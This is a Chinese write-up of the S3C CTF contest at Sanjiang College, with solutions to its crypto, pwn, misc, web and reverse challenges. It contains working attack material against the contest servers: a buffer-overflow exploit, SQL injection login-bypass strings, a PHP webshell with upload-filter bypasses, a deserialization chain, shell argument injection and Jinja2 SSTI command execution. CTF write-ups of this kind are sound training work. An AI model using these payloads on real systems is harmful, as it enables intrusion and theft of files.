文章受保护时段:2022年10月23日 10:00 - 2022年10月30日 21:00

三江学院CTF http://s3c.wiki:8000/

由于服务器太烂(上行4M),此页面的加载可能需要一定时间,请耐心等待。

如果目录的css未成功加载(没有树形结构),请刷新页面

Crypto

手算就是正义

单表代换加密 - CTF Wiki

from string import *
def encrypt(message,a,b,m):
    return [(i*a+b)%m for i in message]
a=1
b=2
m=26
message=''
message1=[]
for i in range(len(message)):
    message1.append(ord(message[i])*a+b%m)
print(message1)
#[117, 53, 101, 125, 123, 113, 119, 97, 109, 112, 113, 121, 97, 104, 99, 112, 105, 117, 106, 103, 97, 108, 107, 99, 108, 107, 99, 127]

仿射,直接把所有可打印字符都扔进去过一遍,对应造一个字典。最后再根据这个字典把列表里的数字映射回来就OK辣(这题真的可以手算)

a='''!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'''
n={}
flag = ""

for i in range(94):
    n[i+35]=a[i]

for i in [117, 53, 101, 125, 123, 113, 119, 97, 109, 112, 113, 121, 97, 104, 99, 112, 105, 117, 106, 103, 97, 108, 107, 99, 108, 107, 99, 127]:
    flag = flag + n[i]

print(flag)

s3c{you_know_fangshe_jiajia}

Hash and math

VNCTF 2022

会百度+有手会改代码即可

exp:

from hashlib import sha256
import random
from pwn import *
import string
# 只改了一点点:https://blog.csdn.net/bestkasscn/article/details/123180932
context.log_level = 'debug'
dir = string.ascii_letters + string.digits
p = remote("139.224.221.75", 10041)
p.recvuntil(b'[+] sha256(XXXX+')
salt = p.recv(16).strip().decode()
p.recvuntil(b') == ')
hash = p.recv(64).strip().decode()
while True:
    rand_str = (''.join([random.choice(dir) for _ in range(4)])) + salt
    if sha256(rand_str.encode()).hexdigest() == hash:
        print("",rand_str[:4])
        p.sendlineafter(b'[+] Plz Tell Me XXXX :', rand_str[:4])
        break
for i in range(100):
    p.recvuntil("plz give me the")
    count = p.recv(9).strip().decode()
    print(count,"=",eval(count))
    p.sendline(str(eval(count)))
p.interactive()

爱画画的hdddd

拿到base64后,依照flag格式(s3c{xxxxxxxx})可知,这一串是键盘上按键的位置,以按键位置相连得到flag

cmVkY3gsd2Vkc2RjeCx0cmVkY3ZiLHsseWppam4sZXJ0Z2J2Y2RlLHJmdmJuaHksdGdidWhtLHZmcnR5aG4sZXJ0Z2J2Y2RlLHFzeGRyZ2JodSxnaHl0cmZ2Ym4sdHJlZGN2YmdibixyZWRjeCx5amlqbixjZGVydGdiZ3R5dWptLHRyZWRjdmIscmZ2Z3kseWppam4sfQ

redcx,wedsdcx,tredcvb,{,yjijn,ertgbvcde,rfvbnhy,tgbuhm,vfrtyhn,ertgbvcde,qsxdrgbhu,ghytrfvbn,tredcvbgbn,redcx,yjijn,cdertgbgtyujm,tredcvb,rfvgy,yjijn,}

例:cdertgbgtyujm代表m

s3c{youknoweasymcry}

rsa_Hit Me


from Crypto.Util.number import *
import gmpy2
import libnum
with open('flag.txt','r') as f:
    m = libnum.s2n(f.read())
q = getPrime(2048)
p = getPrime(2048)
n = p*q
d = getPrime(32)
phi_h = ( p - 1 ) * ( q - 1 )
e = gmpy2.invert(d,phi_h)
c = pow(m , e , n)
print("n = ",n)
print("e = ",e)
print("c = ",c)

'''n =  333398002182333068972214951152894572207349347989469496949152908431465765946642901148624375754388939679595047303162584824606399926602176810124233906371059493978250128132406553156405738998356420551989702361365529104888401663157233617271629083521178703899867845901955050886971700702651788374204289280485763686379820760877867534991397093211769070414292751752747333927974823604602664499745088314332136845121224954251277004639254605214200310547404917826488009472679458809169106280127961101299325962997118749257266710552181648910988855912667992526129564022646783196775755379297290797763650084498759644050676647594377374093102605313676818863286957879045009279957529743282221136843851152629776071814609921025572295279029649598487581690173557779277977970205886746686115903332695031183326353656390209179654436077777079574715986381918640218007257578849436145468958726108066598275315869110964601882369908011203147453304267408864490568956181423667008493374501376145702453008102055311226702181267531993820125595981100194316794147961134380544621109101749385855209175395879336607407280162897972962054737435286321280976547095498464853961130215982451348118761428975096525179865519331486933515736434296667303383564134060651642228091097763299932051993157
e =  28766023963221499935023570876525324245973857912076819426746820915374195287981619143552689556343922874782530010746133228418687677654066147122828176145249191166115877453602045031539527952572779050933058706034627253333312990252652206544777729247454618381057470842280548501674081384971656508513057445405855082066858352002308585877065818869542570230973635145408195842110754960968929740869157122293325392648187002638600389552018422118100116861501120109227053617593714717559588521657974153884726538993150157672431596588996070063118193608524182153361416503529234984775776566464800393636235552780217547296062495489018613861549534134634159875042446309379107705246314827834199068662382200095552103610812579880166677483519954581198738805496447103714524000373530108128224088458821634061370730086105359373620823987091202604451917470093889869038853723084433689702299935523116070139870799671680021241274720733484176191735911870557416361005509292139047058677765665704413541047285303615570990491014930490295208555533902134250897963725979445793114354302892654205055881092310910556616686167620848749485923373585583810549686247808375538009685116692162515272524242193457224083852354833375360237453249352371686541909935070232264364058899903849695136783771
c =  314796439839739268176886858831510509376105167071799688057298649518995848588395161373798032253621692253418776984529434145908626137070637302120779516993295899378661068969147424003652680506330471402086883253583676864272517630611189244570434245770977308273903190397751756491950877227468602812198668386917081476638466129577783403569739110038851996937376795825800147828547900814446465973103585247762589436111689072269176288866406903951863676521272923104130659726641700345396331172899692801749225376786380719989716485849534480664422660891762931245342599618327745652768746349358672940759574930908977338957731228875044727437692854557385619376080254029363073093570011461444999889765093648324333425558178164056692792914327698786135576622552800294473465095867581675685344552708732027619743210857254899136013623330080371829529040000946840548762818124619276751038106306826729056076136513788669007198069889779226493690753538656490077018702625557495828780738983456644827796187510642406137915346814410904396003668243552925857811691568353104646979940772901421862815430645061890535064891221175166440407344509831443879079045084024326878109727952826789992365786774455083491633150293950415548434325672902962477742985355756419330839424288776173407894718539
'''

我的e很大 Wiener attack,在NewStarCTF里做过

https://github.com/pablocelayes/rsa-wiener-attack

#!/usr/bin/python
#coding:utf-8

import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes 

def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print("Hacked!")
                    return d
    return False
def main():
    n =  333398002182333068972214951152894572207349347989469496949152908431465765946642901148624375754388939679595047303162584824606399926602176810124233906371059493978250128132406553156405738998356420551989702361365529104888401663157233617271629083521178703899867845901955050886971700702651788374204289280485763686379820760877867534991397093211769070414292751752747333927974823604602664499745088314332136845121224954251277004639254605214200310547404917826488009472679458809169106280127961101299325962997118749257266710552181648910988855912667992526129564022646783196775755379297290797763650084498759644050676647594377374093102605313676818863286957879045009279957529743282221136843851152629776071814609921025572295279029649598487581690173557779277977970205886746686115903332695031183326353656390209179654436077777079574715986381918640218007257578849436145468958726108066598275315869110964601882369908011203147453304267408864490568956181423667008493374501376145702453008102055311226702181267531993820125595981100194316794147961134380544621109101749385855209175395879336607407280162897972962054737435286321280976547095498464853961130215982451348118761428975096525179865519331486933515736434296667303383564134060651642228091097763299932051993157
    e =  28766023963221499935023570876525324245973857912076819426746820915374195287981619143552689556343922874782530010746133228418687677654066147122828176145249191166115877453602045031539527952572779050933058706034627253333312990252652206544777729247454618381057470842280548501674081384971656508513057445405855082066858352002308585877065818869542570230973635145408195842110754960968929740869157122293325392648187002638600389552018422118100116861501120109227053617593714717559588521657974153884726538993150157672431596588996070063118193608524182153361416503529234984775776566464800393636235552780217547296062495489018613861549534134634159875042446309379107705246314827834199068662382200095552103610812579880166677483519954581198738805496447103714524000373530108128224088458821634061370730086105359373620823987091202604451917470093889869038853723084433689702299935523116070139870799671680021241274720733484176191735911870557416361005509292139047058677765665704413541047285303615570990491014930490295208555533902134250897963725979445793114354302892654205055881092310910556616686167620848749485923373585583810549686247808375538009685116692162515272524242193457224083852354833375360237453249352371686541909935070232264364058899903849695136783771
    c =  314796439839739268176886858831510509376105167071799688057298649518995848588395161373798032253621692253418776984529434145908626137070637302120779516993295899378661068969147424003652680506330471402086883253583676864272517630611189244570434245770977308273903190397751756491950877227468602812198668386917081476638466129577783403569739110038851996937376795825800147828547900814446465973103585247762589436111689072269176288866406903951863676521272923104130659726641700345396331172899692801749225376786380719989716485849534480664422660891762931245342599618327745652768746349358672940759574930908977338957731228875044727437692854557385619376080254029363073093570011461444999889765093648324333425558178164056692792914327698786135576622552800294473465095867581675685344552708732027619743210857254899136013623330080371829529040000946840548762818124619276751038106306826729056076136513788669007198069889779226493690753538656490077018702625557495828780738983456644827796187510642406137915346814410904396003668243552925857811691568353104646979940772901421862815430645061890535064891221175166440407344509831443879079045084024326878109727952826789992365786774455083491633150293950415548434325672902962477742985355756419330839424288776173407894718539

    d = wiener_hack(e, n)
    m = pow(c,d,n)
    print(long_to_bytes(m))
if __name__=="__main__":
    main()

PWN

babyrip

啥也没开,依赖暑期课的一点点残留知识能做(

直接找后门,函数地址0x004007BC

F0h=240d,搞248个字符怼上去就行了

exp:

from pwn import *
context.log_level = 'debug'
p = remote("139.224.221.75",9370)
payload=b'A'*248+p64(0x4007BC)
p.recvuntil("Enter_what_you_want_to_know:")
p.sendline(payload)
p.sendline("cat /flag")
p.interactive()

s3c{You_got_the_first_flag}

Misc

外星来电

康康频谱

猜猜我在哪

社工社工

先看exif,找到一个GPS,定点到 安徽省安庆市宜秀区

从图内得知这是一个叫****大桥的收费站,百度地图全景搜索附近的收费站

s3c{anqingchangjiangdaqiao}

社会核心价值观

法治和谐和谐和谐公正和谐法治友善平等自由敬业平等友善敬业公正诚信文明和谐富强法治公正公正平等平等诚信平等自由和谐公正爱国公正敬业公正友善爱国公正民主平等友善敬业自由敬业文明公正公正友善公正公正友善敬业法治公正公正平等平等友善敬业自由爱国法治平等公正民主法治法治公正平等公正敬业法治诚信和谐

http://github.com/sym233/core-values-encoder

s3c{I_l0ve_China_I&love_Huawei}

emo了

👪🐪👚👲🐺👘👥👖👚🐸👥👖👥🐪🐪🐻👖🐼👤👦👡👠👖👴

Emoji表情符号编码/解码 - 一个工具箱

s3c{Can_cAn_n33D_Emoji_}

basebasebase

base64:RzRaVEdNWldHTTNVRU5CU0dRWkRJTVJVR0kzRENOSlRHWTJUS1JSV0hBM0RRTlJZR1k0REtSUldIRTNUR05LR0c0M0RHTVpWR0kzVFNOS0dHWTNET05KV0lVM0VLTlpaRzVDQT09PT0=
base32:7333637B424242426153655F686868685F69735F763352795F66756E6E797D
base16:s3c{BBBBaSe_hhhh_is_v3Ry_funny}

我的漂亮女友

图片修改宽高

我的世界

一开始还在想是什么题,结果真的要玩MC

都来打CTF了,还不整点科技与狠活?

一、两次末影之眼定位要塞

#include<cstdio>
#include<cmath>
#include<cstdlib>
#include<algorithm>
#define MAXN 101
using namespace std;
struct coordinate{
        double x,z;
}loc[MAXN],res[MAXN*(MAXN-1)/2],circle;
double f[MAXN],radius=0;
int n,cnt;
const double pai=3.141592653589793;
coordinate calc(int i,int j){
        coordinate result;
        result.x=(loc[i].x*cos(f[i])*sin(f[j])-loc[j].x*sin(f[i])*cos(f[j])+(loc[i].z-loc[j].z)*sin(f[i])*sin(f[j]))/sin(f[j]-f[i]);
        result.z=(loc[j].z*cos(f[i])*sin(f[j])-loc[i].z*sin(f[i])*cos(f[j])-(loc[i].x-loc[j].x)*cos(f[i])*cos(f[j]))/sin(f[j]-f[i]);
        return result;
}
double get_distance(coordinate a,coordinate b){
        return sqrt(pow(a.x-b.x,2)+pow(a.z-b.z,2));
}
bool In_Cir(coordinate point){
        return get_distance(point,circle)<=radius+0.001;
}
coordinate solve(double A1,double B1,double C1,double A2,double B2,double C2){
        if(A1*B2-A2*B1==0) return circle;
        return (coordinate){(C1*B2-C2*B1)/(A1*B2-A2*B1),(A1*C2-A2*C1)/(A1*B2-A2*B1)};
}
void get_MinCir(){
        double temp;
        for(int i=1;i<=cnt;i++)
                if(!In_Cir(res[i])){
                        circle.x=res[i].x,circle.z=res[i].z,radius=0;
                        for(int j=1;j<i;j++)
                                if(!In_Cir(res[j])){
                                        circle.x=(res[i].x+res[j].x)/2.0,circle.z=(res[i].z+res[j].z)/2,radius=get_distance(res[i],circle);
                                        for(int k=1;k<j;k++)
                                                if(!In_Cir(res[k])){
                                                        circle=solve(2*(res[j].x-res[i].x),2*(res[j].z-res[i].z),pow(res[j].x,2)+pow(res[j].z,2)-pow(res[i].x,2)-pow(res[i].z,2),
                                                        2*(res[k].x-res[j].x),2*(res[k].z-res[j].z),pow(res[k].x,2)+pow(res[k].z,2)-pow(res[j].x,2)-pow(res[j].z,2));
                                                        radius=get_distance(circle,res[k]);
                                                }
                                        
                                }
                }
        
}
int main(){
        //freopen("stronghold.txt","r",stdin);
        scanf("%d",&n);
        for(int i=1;i<=n;i++){
                scanf("%lf%lf%lf",&loc[i].x,&loc[i].z,&f[i]);
                f[i]*=pai/180.0;
        }
        for(int i=1;i<=n;i++)
                for(int j=1;j<i;j++){
                        if(f[i]==f[j]) continue;
                        res[++cnt]=calc(i,j);
                }
        for(int i=1;i<=cnt;i++)
                printf("x=%.3lf,z=%.3lf\n",res[i].x,res[i].z);
        random_shuffle(res+1,res+cnt+1);
        get_MinCir();
        printf("\nThe final result is:\n");
        printf("x=%.3lf,z=%.3lf\nr=%.3lf\n",circle.x,circle.z,radius);
        system("pause");
}

二、Wurst Hacked

老生作弊MOD,从 透视飞行 到 杀~戮~光~环~ 应有尽有

三、生存

汪 汪 队 记 大 功
汪 汪 队 记 大 过
汪 汪 ——
飞 行 达 人
从 0 开 始
结 束 了 ?
欲 与 天 公 试 比 高
结 束 了 。
天 空 即 为 极 限

四、密码

根据主城提示,由于一共有七个栅栏,因此为栅栏密码,密码为7

s3c{Y0u_f0unD_tHe_SeCreT_Ab0ut_Minecraft}

你是为网安比赛而生

binwalk分析,套了个zip,分离一下

分离出来提示Why don't you try to use Ziperello for blasting,直接爆破即可。密码11014

s3c{Y0u_mUst_bE_tHe_ChaMpion_0f_tHe_cyBer_SecUrity_Competiti0n}

粗心的小明

Wirdshark点击即得

s3c{Y0u_cAn_n0t_p0ssiBly_kn0w_mY_pAssw0rd}

真相在假象之中

zip伪加密,直接用7-zip打开即可

s3c{So_iS_tHis_trUe_0r_faKe}

我觉得你看不见

PS/StegSolve一帧帧看

s3c{N0w_d0_You_kn0w_wHat_GIF_iS}

大黑阔

上传文件,找向upload.php的POST请求

s3c{W0w_y0u_f0Und_iT}

超级黑阔入侵

分别考察了流量分析和CRC爆破,却误打误撞做了一个传马的WEB题

一、超级黑阔入侵(联动)

分析流量,发现一个图片床,使用万能密码 ' or 1=1# 进入

页面的源码中有提示:上传时只对文件的MME类型进行了过滤

bp抓包改mme为image/jpeg,成功上传

蚁剑连接,提示flag在config中,找到文件得到flag

二、流量分析

题目增加了hint:本题的flag仅在流量里,和流量中涉及到其他网站无关。(若访问了流量中的相关网站请看Web中的联动题)

通过流量发现,有一个POST请求中包含了flag.zip文件,将此流量其以二进制的形式导出,得到一个压缩包

三、CRC32爆破

注释中提示crc32,两个password文件均很小,可以采用CRC32爆破的方式得到密码

from binascii import crc32
from itertools import product

dic = 'abcdefghijklmnopqrstuvwxyz0123456789_'
for i in [0x0DF839B1,0x82782110]:
    tuple_iter = product(dic, repeat=5)
    for char_tuple in tuple_iter:
        char_str = ''.join(char_tuple)
        crc32_value = crc32(char_str.encode())
        if crc32_value == i:
            print(char_str,end='')

扫描二维码得到flag

赛博朋克

频谱中有cyberpunk字样,hint提示 Your artificial eye plug-in should be upgraded,try SilentEye?

音频LSB隐写,使用SilentEye解码,密码为cyberpunk

得到SSTV,使用RX-SSTV进行识别

s3c{welcome_to_night_city}

弱雪

SNOW隐写,根据hint:

题目就是提示啊 弱是一个意思,雪是一个意思 然后结合一下就可以解题了Got it!

使用弱口令爆破,找个 常见的弱口令 ,撰写脚本

import os
from tqdm import tqdm
f = open('password.txt','r').read().splitlines()
for i in tqdm(f):
    try:
        os.system(f'SNOW.EXE -p {i} -C snow.txt > testflag.txt')
        f1 = open('testflag.txt','r').read()
        if('s3c' in f1):
            print(f1)
    except:
        pass

这是???

guofei9987/text_blind_watermark

文本隐水印

版权所有

binwalk分离出一个压缩包,提示 Try blasting again? Only four ,爆破压缩包,密码为wasd。

得到参数 --wm_shape 71

guofei9987/blind_watermark/

s3c{s3cn0tbAd}

WEB

S3C网盘

后台万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

welcome_to_s3c

康康源码

Flag已经给你了

进入网页后先给你302重定向,由原网页得到第二部分flag

改请求头为PUT,再加个s3c,得到czNje1cwd195MFVf,base64解码得到前半段flags3c{W0w_y0U_

CTFer的礼物

<html>
<head>
    <title>233</title>
    <meta charset="utf-8">
</head>
<body>
亲爱的CTFer,可以<strong>邮寄</strong>给我一份<strong>gift</strong>嘛,我会非常感激的~</br>
至于礼物嘛~我已经在<strong>标题</strong>中告诉你啦~</br>
</body>
</html>

POST gift=233


<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8">
</head>
<body>
你好呀,亲爱的CTFer!很感谢你送给我的礼物!</br>
现在我也有一份礼物要送给你,快去找找吧!</br>
<!--你想知道当S3C和CTF在MD5的加密下会碰撞出怎样的火花嘛?
那么请用GET的方式询问我吧,我会给你最好的礼物!-->
</body>
</html>
;

数组绕过即可,payload:139.224.221.75:8087/get.php?S3C[]=1&CTF[]=2

你好呀,亲爱的CTFer!很感谢你送给我的礼物!
现在我也有一份礼物要送给你,快去找找吧!
s3c{W1at_d0_you_wAnt_t0_GET};

ez_upload

现写解,一会再写撞的墙

首先尝试直接上传木马,前端校验直接禁用js即可。文件校验改image/jpeg;文件头校验在前面加“YOYA”。结果最后返回空页面,放弃

后尝试图片马。找个图片,写个一句话木马<?php @eval($_POST['mnh']);?>,合并成图片马copy mnhh.jpg/b + mnh.php mnhhh.jpg

上传,bp拦下后改为“文件名.php%00.jpg”,发现php被过滤。双写绕过:文件名.pphphp%00.jpg

连上蚁剑,得到flag

撞的墙:

1、图片问题

如图,生成图片马后图片本身编码出现<?,被识别为php代码,导致报错

解决方法:拿画图做一个简单点的图片

2、00截断

不可以直接在文件名中加 %00 进行截断,因为 %00 会以字符串的形式解析。需要在HEX下添加00:

readMMMEEE

1.15.76.133:39007/cancanneed?img=./flag

RandomNumber

mt_rand()函数产生的随机数可以爆破得到seed,可参考php_mt_seed - PHP mt_rand() seed cracker 。使用提供的代码,编译后爆破第一个数字

seed = 0x00000018 = 24 (PHP 5.2.1 to 7.0.x; HHVM)

编写payload:

<?php
mt_srand(24);    
echo mt_rand();
echo "<br>";
echo mt_rand();
echo "<br>";
echo mt_rand();
echo "<br>";
echo mt_rand();

//95038887
//632291777
//1502190688
//113504427

//PHP 5.2.1 to 7.0.x

EZPOP

<?php
highlight_file(__FILE__);

class p{
    public $too;
    public function __toString()
    {
        $this->too->three;
        return 'w3lc0me_to_S3c';
    }

}

//第二层

class q{
    public $amo;
    public $read;
    public function __destruct()
    {
        if($this->read==='next'){
            echo $this->amo;
        }
    }
}

//第一层

class d{
    public $io;
    public function __get($name)
    {
        ($this->io)();
    }

}

//第三层

class b{
    public $iu;
    public function __call($name, $arguments)
    {
        echo "you_are_sUccessssd";
        echo file_get_contents("/flag");
    }

}

//第五层

class r{
    public $hh;
    public function __invoke()
    {
        $this->hh->zxxxxxxxrrrrr();
    }
}

//第四层


$a = $_GET['payload'];
unserialize($a); 

上一篇文章 WEB-反序列化简介 – 陌念Hello (monianhello.top) 中详解了PHP反序列化的相关知识,这里再补充一些魔术方法的知识 PHP反序列化研究 - 知乎 就可以解了

<?php

class q{
    public $amo;
    public $read='next';
    public function __construct(){
        $this->amo = new p;
    }
}

//这里利用魔术方法__destruct()转到第二层

class p{
    public $too;
    public function __construct(){
        $this->too = new d;
    }
}

//由于第一层的最后echo了amo,把对象当成字符串使用,会调用魔术方法__toString(),利用此效果转到第三层

class d{
    public $io;
    public function __construct(){
        $this->io=new r;
    }
}
//第二层的最后尝试以调用函数的方式调用一个对象,会调用魔术方法__invoke(),利用此效果转到第四层

class r{
    public $hh;
    public function __construct(){
        $this->hh = new b;
    }
}

class b{}

$monian = new q;
//实例化对象

$monian->amo->too->wth;
//调用不存在的方法,会调用魔术方法__call()从而转到第五层获得flag

echo(urlencode(serialize($monian)));
//反序列化
O%3A1%3A%22q%22%3A2%3A%7Bs%3A3%3A%22amo%22%3BO%3A1%3A%22p%22%3A1%3A%7Bs%3A3%3A%22too%22%3BO%3A1%3A%22d%22%3A1%3A%7Bs%3A2%3A%22io%22%3BO%3A1%3A%22r%22%3A1%3A%7Bs%3A2%3A%22hh%22%3BO%3A1%3A%22b%22%3A0%3A%7B%7D%7D%7D%7Ds%3A4%3A%22read%22%3Bs%3A4%3A%22next%22%3B%7D

So_Easy

<?php
error_reporting(0);
highlight_file(__FILE__);
include "flag.php";
$login = $_GET['id'];
if(!@isset($login['s3c'])||$login['s3c'] != @md5($_SESSION['flag'])){
    die('嗯...怎么不对呢?');
}else{
$unserialize_str = $_POST['s3c'];
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == 'admin' && $data_unserialize['password']=='hahahahahahaha')
{     
     print($flag);
}
else {
    die('咱就是说大漏特漏!');
}} 

$login['s3c'] != @md5($_SESSION['flag'])
因为session从初始化开始就从来没有设置过值,所以是空的('')。md5('')=d41d8cd98f00b204e9800998ecf8427e
所以id[s3c]=d41d8cd98f00b204e9800998ecf8427e

后面的反序列化就很容易了,编写payload

$b = array( 
    'user' => 'admin',
    'password' => 'hahahahahahaha',);
print_r($b);
echo(serialize($b));

Array ( [user] => admin [password] => hahahahahahaha ) 
a:2:{s:4:"user";s:5:"admin";s:8:"password";s:14:"hahahahahahaha";}

最后的payload:

http://139.224.221.75:8022/?id[s3c]=d41d8cd98f00b204e9800998ecf8427e

POST:s3c=a:2:{s:4:"user";s:5:"admin";s:8:"password";s:14:"hahahahahahaha";}

DJ_Diary

网页里有cookie

{
    "data": [
        {
            "name": "images/01.jpg", 
            "description": "芝士雪豹"
        }, 
        {
            "name": "images/02.jpg", 
            "description": "我阿嬷每天早上都会为我的锐刻5代充电"
        }, 
        {
            "name": "images/03.jpg", 
            "description": "狐狸怎么叫"
        }, 
        {
            "name": "images/04.jpg", 
            "description": "芝士土拨鼠"
        }, 
        {
            "name": "images/05.jpg", 
            "description": "芝士坨鸟"
        }, 
        {
            "name": "images/06.jpg", 
            "description": "1!5!"
        }, 
        {
            "name": "images/07.jpg", 
            "description": "芝士珊迪"
        }, 
        {
            "name": "images/08.jpg", 
            "description": "芝士cat"
        }
    ], 
    "expiry": 1667303546
}

看源代码,有个hint,点进去是php,做下代码审计:

<?php
highlight_file(__FILE__);
function img2b64($image) {
    return 'data:jpg;base64,'.base64_encode(file_get_contents($image));
}

function get_img_contents() {
    $results = [];

    if (empty($_COOKIE['cache'])) {

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

    } else {

        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }

        return $cache['data'];

    }

    return $results;
}
?>

很简单,没有cookie就遍历/images目录存起来,有cookie就从cookie给的路径读文件。

但有一个地方值得注意一下,就是这个$expiry

在创建时:$expiry = time() + 60*60*24*7

读取时做的判断:if ($cache['expiry'] <= time())

很明显,除非我们一周之后再做这道题,不然这个判断肯定过不去。所以为了读取relx.txt,不仅要篡改文件名,而且要减少$expiry的值

czNje0RKX2FuZF9oMXNfYW4xbTRJX2ZyMTVuZHNfd2lJIV9uZVZlcl9iXzVlcGFyYXRlZCEhfQo=

s3c{DJ_and_h1s_an1m4I_fr15nds_wiI!_neVer_b_5eparated!!}

放松一下吧

白给,直接搜s3c

Time_Controller

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$time = shell_exec("date '+".escapeshellcmd($format)."' 2>&1");
?>

<?= isset($time) ? $time : '?' ?>

escapeshellcmd()函数参考php手册可知,会对可能会欺骗 shell 命令执行任意命令的字符进行转义。首先观察不传入任何值时shell_exec()执行的代码:

类似于SQL注入,我们可以通过构造单引号闭合的方式把前面的加号以及escapeshellcmd()函数转义添加的\(windows环境下为^)合并起来

由于引号未闭合,需要在最后再加上一个单引号。此时的效果是:

http://139.224.221.75:8005/?format=%27%20--help%27

Linux date 命令 通过-f filename 可以实现读文件

payload: http://139.224.221.75:8005/?format=%27%20-f%20/flag%27

ez_php

<?php
highlight_file(__FILE__);
$flag='s3c'; 
extract($_GET);
 if(isset($data))
 { 
    $content=trim(file_get_contents($flag));
    if($data==$content)
    { 
        include 'flag.php'; 
    }
   else
   { 
    echo'Oh.no';
   } 
 }

让$data=$flag,由于上面有extract($_GET);,直接传入$data和$flag即可。file_get_contents($flag)返回值为空(NULL),构造Payload: flag=&data=

47.101.172.5:39777/?flag=&data=

s3c{5fg9hgf8b_76fijnboij_8fcj9hybv}

EZ_SSTI

一点也不ez,坐牢了一上午才弄明白

首先是其他博客都提及的一句话:

Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数

引发SSTI的真正原因:render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
首先确认下使用的是flask

找可以执行代码的类{{''.class.mro[].subclasses()}}

经过测试,方括号被过滤,需要绕过。参考文章【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤

修改payload:{{''.class.mro.getitem(1).subclasses()}}

这里利用warnings.catch_warnings模块执行代码,搜索一下,是第133个

{{''.class.base.subclasses().getitem(133).init.globals.getitem('builtins').eval("import('os').popen('ls').read()")}}

成功执行命令,但是想要读flag的时候发现flag被过滤了,把字符串断开进行绕过

最后的payload:{{''.class.base.subclasses().getitem(133).init.globals.getitem('builtins').eval("import('os').popen('cat /fl'+'ag').read()")}}

一些参考文章:

超级黑阔入侵(联动)

请前往 MISC - 超级黑阔入侵 查看

小黑子表情包批发

一道php伪协议的题,随便传入点什么东西得到hint

121.5.149.51:8091/share.php?hint

<?php
$share_link = $_GET['link'];


if (isset($share_link)) {
    
    header("Content-type: image/jpeg; charset=utf-8");
    include($share_link);//More info? See ./php.ini
    
}  else if (isset($_GET['hint'])) {
    
    highlight_file(__FILE__);
    
}


if (!isset($share_link) && !isset($_GET['hint'])) {
?>
Want more info? Please go to /<?php echo basename(__FILE__)?>?hint
<?php
}
?>

有一个header,所以不能直接把读源代码的伪协议传进去。开bp拦一下

121.5.149.51:8091/share.php?link=php://filter/read=convert.base64-encode/resource=flag.php

<?php
$flag = "s3c{Now_y0u_caN_re4d_php_fi1es_as_base64}"; //Notice: this flag is for 《小黑子表情包批发》

Reverse

我的IDA好像坏了

upx脱壳

脱完扔进IDA即可

(非预期:实际上这题不需要你会脱壳,直接运行就可以看到flag了)

reverse01

签到题,扔进IDA就行

ez_x0r

遍历输入的字符串,与15异或。得到新的字符串与flag比较(很奇怪,你输入什么最后都会congratulations!)

由异或的运算法则可知,连续异或两次数字不变。再异或一次就可以了

a = "<LtW?}P>|P|`PM?}fAhrr"
m = ""
for i in a:
    m = m + chr(ord(i)^15)
print(m)

不知道为什么多了一个}少了个S

南京爱情故事续

看图标,一眼pyinstaller,用pyinstxtractor反编译(python版本高的可以用这个pyinstxtractor.py 的改进 - 反编译pyinstaller生成exe的工具_qfcy_的博客

https://github.com/extremecoders-re/pyinstxtractor

发现一个example.pyc,拿uncompyle6(在线工具:pyc反编译小工具在线使用)继续反编译,得到代码

# uncompyle6 version 3.5.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: example.py
x = input()
if x == 'love':
    print('data: image/png; aHR0cHM6Ly9zMS5heDF4LmNvbS8yMDIyLzA5LzIxL3hpdlE0UC5wbmc=')
else:
    print('gg')

得到base64编码,前面那个data: image/png;就是个花瓶,没用。直接base64解码即可

babyre

???

哒咩py

这题足足坐牢了三四个小时,从头把Python底层捞了一遍才弄明白,这里就说细一点方便大家理解

一、啊?字节码是啥?

官方文档(Python 字节码 --- Python 3.10.8 文档)和一些博客(Python 字节码介绍_北渔。的博客-CSDN博客)中都对字节码有准确详尽的解释,我的理解是字节码是介于python源代码和CPU指令之间的,人类可读的代码

举一个简单的例子,有以下Python代码:

a = 114514
b = 1919810
print(a + b)
